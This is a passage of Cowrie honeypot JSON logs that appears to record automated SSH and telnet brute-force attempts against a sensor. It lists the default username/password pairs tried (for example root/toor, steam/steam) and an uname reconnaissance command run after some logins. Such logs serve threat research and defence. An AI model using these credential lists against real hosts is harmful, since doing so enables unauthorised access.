istp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:22.522282Z","src_ip":"192.109.200.78","session":"996a1dd307a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:22.778726Z","src_ip":"192.109.200.78","session":"996a1dd307a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:22.990496Z","src_ip":"192.109.200.78","session":"996a1dd307a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:22.993514Z","src_ip":"192.109.200.78","session":"996a1dd307a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:23.081640Z","src_ip":"192.109.200.78","session":"996a1dd307a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:23.086947Z","src_ip":"192.109.200.78","session":"996a1dd307a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38872,"dst_ip":"159.203.135.109","dst_port":22,"session":"eee9258b5aeb","protocol":"ssh","message":"New connection: 176.65.139.95:38872 (159.203.135.109:22) [session: eee9258b5aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:24.714245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:24.719929Z","src_ip":"176.65.139.95","session":"eee9258b5aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:24.809213Z","src_ip":"176.65.139.95","session":"eee9258b5aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:25.216480Z","src_ip":"176.65.139.95","session":"eee9258b5aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:26.433707Z","src_ip":"176.65.139.95","session":"eee9258b5aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53672,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a7ce4369c8","protocol":"ssh","message":"New connection: 192.109.200.78:53672 (159.203.135.109:22) [session: 70a7ce4369c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:26.583614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:26.593544Z","src_ip":"192.109.200.78","session":"70a7ce4369c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:26.677555Z","src_ip":"192.109.200.78","session":"70a7ce4369c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:26.924896Z","src_ip":"192.109.200.78","session":"70a7ce4369c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194072723389,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:27.078476Z","src_ip":"152.59.179.89","session":"764f68a6cf01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:28.014803Z","src_ip":"192.109.200.78","session":"70a7ce4369c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":47246,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe0cb820da86","protocol":"telnet","message":"New connection: 152.59.179.89:47246 (10.17.0.5:23) [session: fe0cb820da86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:29.986143Z"}
{"eventid":"cowrie.session.closed","duration":120.0022029876709,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:30.020223Z","src_ip":"212.252.78.49","session":"13808e9c956b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52324,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae5ee0e3ed5","protocol":"ssh","message":"New connection: 192.109.200.78:52324 (159.203.135.109:22) [session: dae5ee0e3ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:30.537030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:30.542142Z","src_ip":"192.109.200.78","session":"dae5ee0e3ed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:30.627229Z","src_ip":"192.109.200.78","session":"dae5ee0e3ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:30.882223Z","src_ip":"192.109.200.78","session":"dae5ee0e3ed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":24644,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b74a3bb3e5","protocol":"telnet","message":"New connection: 212.252.78.49:24644 (159.203.135.109:23) [session: 85b74a3bb3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:31.000622Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42902,"dst_ip":"159.203.135.109","dst_port":22,"session":"929cd14c8dce","protocol":"ssh","message":"New connection: 176.65.139.95:42902 (159.203.135.109:22) [session: 929cd14c8dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:31.695354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:31.700348Z","src_ip":"176.65.139.95","session":"929cd14c8dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:31.783401Z","src_ip":"176.65.139.95","session":"929cd14c8dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:31.972550Z","src_ip":"192.109.200.78","session":"dae5ee0e3ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:32.108981Z","src_ip":"176.65.139.95","session":"929cd14c8dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":37517,"dst_ip":"10.17.0.5","dst_port":23,"session":"277e188f855d","protocol":"telnet","message":"New connection: 152.59.179.89:37517 (10.17.0.5:23) [session: 277e188f855d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:32.783301Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":48238,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f9326cdd5d","protocol":"telnet","message":"New connection: 152.59.179.89:48238 (10.17.0.5:23) [session: 51f9326cdd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:33.186430Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:33.201995Z","src_ip":"176.65.139.95","session":"929cd14c8dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33479aa7a1b","protocol":"ssh","message":"New connection: 192.109.200.78:52326 (159.203.135.109:22) [session: b33479aa7a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:34.810777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:34.815496Z","src_ip":"192.109.200.78","session":"b33479aa7a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:34.900317Z","src_ip":"192.109.200.78","session":"b33479aa7a1b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:35.146147Z","src_ip":"192.109.200.78","session":"b33479aa7a1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:35.638824Z","src_ip":"192.109.200.78","session":"b33479aa7a1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:35.641659Z","src_ip":"192.109.200.78","session":"b33479aa7a1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:35.728071Z","src_ip":"192.109.200.78","session":"b33479aa7a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:35.734141Z","src_ip":"192.109.200.78","session":"b33479aa7a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":54786,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32bf8737665","protocol":"telnet","message":"New connection: 152.59.179.89:54786 (10.17.0.5:23) [session: e32bf8737665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:36.250988Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49552,"dst_ip":"159.203.135.109","dst_port":22,"session":"1704716dc19a","protocol":"ssh","message":"New connection: 176.65.139.95:49552 (159.203.135.109:22) [session: 1704716dc19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:38.682506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:38.687776Z","src_ip":"176.65.139.95","session":"1704716dc19a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:38.788917Z","src_ip":"176.65.139.95","session":"1704716dc19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56726,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0dce6f955a","protocol":"ssh","message":"New connection: 192.109.200.78:56726 (159.203.135.109:22) [session: aa0dce6f955a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:38.826483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:38.834410Z","src_ip":"192.109.200.78","session":"aa0dce6f955a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 